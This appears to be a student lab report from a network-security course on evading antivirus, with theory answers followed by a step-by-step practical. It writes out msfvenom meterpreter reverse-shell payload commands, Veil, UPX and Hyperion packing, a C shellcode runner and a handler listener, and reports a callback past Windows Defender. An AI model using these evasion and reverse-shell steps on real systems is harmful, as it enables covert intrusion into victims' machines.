• 《网络对抗技术》Exp3免杀原理


    《网络对抗技术》Exp3-免杀原理

    一、实践目标

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
    • 通过组合应用各种技术实现恶意代码免杀
    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1.基于特征码的检测
    1.在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已知恶意代码的最主要方法。
    2.启发式恶意软件检测
    根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高。
    3.基于行为的恶意软件检测
    基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其行为并分析(杀软的工作原理)。
    4.完整性检测
    通过hash值来判断文件是否被篡改。
    5.云查杀技术
    采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。
    6.基于人工智能的检测技术
    利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。

    (2)免杀是做什么?

    免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现

    (3)免杀的基本方法有哪些?

    1.加冷门壳
    2.加花指令
    3.改程序入口点
    4.修改内存特征码
    5.直接修改特征码的十六进制法::把特征码所对应的十六进制改成数字差1或差不多的十六进制.
    6.修改字符串大小写法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
    7.等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
    8.指令顺序调换法:把具有特征码的代码顺序互换一下.
    9.通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.

    三、使用msfvenom生成如jar之类的其他文件

    Ⅰ.多次编码生成exe文件

    1.检测实验2中生成的后门程序

    image-20210328135114698

    图3.1.1 检测

    2.编码一次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell1.exe
    

    图3.1.2 编码一次

    image-20210328134103217

    图3.1.3 检测

    2.编码十次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.56.101 LPORT=11204 -f exe > shell10.exe
    

    图3.1.4 编码十次

    image-20210328134547411

    图3.1.5 检测

    -e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符,-i设置迭代次数

    Ⅱ.生成jar文件

    msfvenom -p java/shell_reverse_tcp  LHOST=192.168.56.101 LPORT=11204 -f jar > shell.jar
    

    图3.2.1 jar格式

    image-20210328140219792

    图3.2.2 jar检测

    Ⅲ.生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=11204 x> shell.php 
    

    image-20210328144329628

    图3.3.1 php格式

    图3.3.2 php检测

    四、veil,加壳工具

    Ⅰ.veil

    1.下载(其实先下载wine32会快点)

    sudo apt-get install veil-evasion
    下载成功后
    cd /usr/share/veil/config
    vim setup.sh
    将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
    修改成功后
    veil
    等待安装
    

    image-20210328143603158

    图4.1.1 修改setup.sh

    image-20210328153030384

    2.使用

    veil
    use evasion
    use c/meterpreter/rev_tcp.py
    set LHOST 192.168.56.101
    set LPORT 11204
    generate
    

    image-20210328153819916

    图4.1.2 第一步

    输入list可以查看各种模式

    image-20210328154240453

    图4.1.3 选择模式

    图4.1.4 设置IP和端口号

    图4.1.5 成功

    image-20210328155349342

    图4.1.6 检测

    Ⅱ.加壳

    upx shell10.exe -o shell10_upx.exe
    

    图4.2.1 upx加壳

    图4.2.2 检测

    五、使用C + shellcode编程

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f c
    

    图5.1 shellcode
    int main()
    {
    int (*func)() = (int(*)())buf;
    func();
    }
    

    图5.2 补充代码(图片截的不好)
    i686-w64-mingw32-g++ shell_c.c -o shell_c.exe
    

    图5.3 编译

    图5.4 检测

    六、通过组合应用各种技术实现恶意代码免杀

    Ⅰ.c+shellcode+Hyperion

    wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
    
    下载Hyperion2.2
    
    unzip Hyperion-2.2.zip
    

    image-20210328164206575

    修改为i686-w64-mingw32-gcc
    
    make
    

    图6.1.1 修改make
    wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe
    

    图6.1.2 加壳

    image-20210328165857462

    图6.1.3 检测

    Ⅱ.python+shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e x86/shikata_ga_nai -f py > shell.py
    

    图6.2.1 生成shellcode

    全部代码

    图6.2.2 补充代码

    python-2.7.17.amd64

    pywin32-227.win-amd64-py2.7

    PyInstaller3.0

    图6.2.3 环境变量

    配置环境需要上述三个软件,并安装,python和pywin32一直下一步就可以,进入pyinstaller的安装文件夹,找到setup.py,打开cmd

    python setup.py install
    

    图6.2.4 安装pyinstaller

    验证安装

    图6.2.5

    图6.2.6

    图6.2.7
    pyinstaller -F --noconsole --onefile shell_p.py
    

    图6.2.8 封装程序

    图6.2.9 检测

    图6.2.10 实现免杀

    七、用另一电脑实测,在杀软开启的情况下,可运行并回连成功

    使用的是shell_c.exe,目标机是win10,杀毒软件为Windows defender

    图7.1 另一台电脑的IP地址

    图7.2 启动shell_c.exe
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.31.107
    set LPORT 11204
    exploit
    

    图7.3 回连

    图7.4 验证

    八、问题及解决

    1.编码方式不被识别

    图8.1 问题
    msfvenom --list encoders 
    

    image-20210328140513299

    图8.2 帮助文档

    可以通过此命令来查看允许的编码方式

    2.shell_c缺少dll动态库

    image-20210328173141955

    在mingw目录下加上就可以libgcc_s_dw2-1.dll,提取码:ykf0,如果没有mingw的环境的话,就在C:\Windows\SysWOW64下安装(32位系统要在C:\Windows\System32下安装)

  • 相关阅读:
    MyBatis Plus 导入IdType失败
    SpringBoot+Vue项目上手
    高并发
    多线程
    Java 接口
    Java后端总结
    Aliyun Linux2安装Docker
    Zookeeper集群部署及报错分析
    CentOs7配置java环境
    kafka笔记——kafka启动
  • 原文地址:https://www.cnblogs.com/wqnmlkb/p/14589283.html
Copyright © 2020-2023  润新知